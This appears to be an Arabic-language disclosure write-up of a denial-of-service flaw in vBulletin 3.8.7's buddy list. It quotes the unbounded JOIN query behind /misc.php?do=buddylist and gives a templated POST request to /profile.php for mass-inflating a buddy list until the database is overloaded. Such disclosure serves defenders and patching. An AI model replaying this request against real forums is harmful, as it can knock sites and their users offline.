
كتابة عن ثغرة حرمان من الخدمة في قائمة الأصدقاء لـ vBulletin 3.8.7.
يقوم نقطة النهاية /misc.php?do=buddylist بتنفيذ استعلام JOIN واحد كبير يسترجع جميع الأصدقاء مع معلومات المستخدم والجلسة الخاصة بهم للتحقق من الحالة المتصلة. نظرًا لأن هذا الاستعلام يعالج قائمة الأصدقاء بأكملها دون ترقيم أو حدود للنتائج، فإنه يصبح مكلفًا جدًا للموارد ويمكن أن يُثقل قاعدة البيانات عندما تكبر القائمة.
هذه المشكلة سهلة الاستغلال وتتطلب إعدادًا بسيطًا. لا حاجة لأي صلاحيات خاصة تتجاوز حساب المستخدم الأساسي. مجرد تضخيم قائمة الأصدقاء يكفي لوضع ضغط كبير على قاعدة البيانات.
يقوم استعلام SQL هذا باسترجاع تفاصيل الأصدقاء مع معلومات الجلسة للتحقق من الحالة المتصلة لكل صديق. نظرًا لأنه يعالج قائمة الأصدقاء بأكملها ويجمعها مع بيانات الجلسة لكل إدخال، يصبح الاستعلام كبيرًا جدًا ومكلفًا للموارد.
$buddys = $db->query_read_slave("
SELECT
user.username,
(user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
user.userid,
session.lastactivity
FROM " . TABLE_PREFIX . "userlist AS userlist
LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
WHERE userlist.userid = {$vbulletin->userinfo['userid']}
AND userlist.relationid = user.userid
AND type = 'buddy'
ORDER BY username ASC, session.lastactivity DESC
");
يمكن ملء قوائم الأصدقاء بشكل جماعي عن طريق إرسال POST إلى /profile.php باستخدام listbits. يمكن تكرار ذلك لآلاف معرفات المستخدمين لتضخيم قائمة الأصدقاء:
POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...
في المنتديات الكبيرة، يمكن أن يتسبب ذلك في تأخر استعلامات شديد أو تعطل مثيل MySQL بالكامل.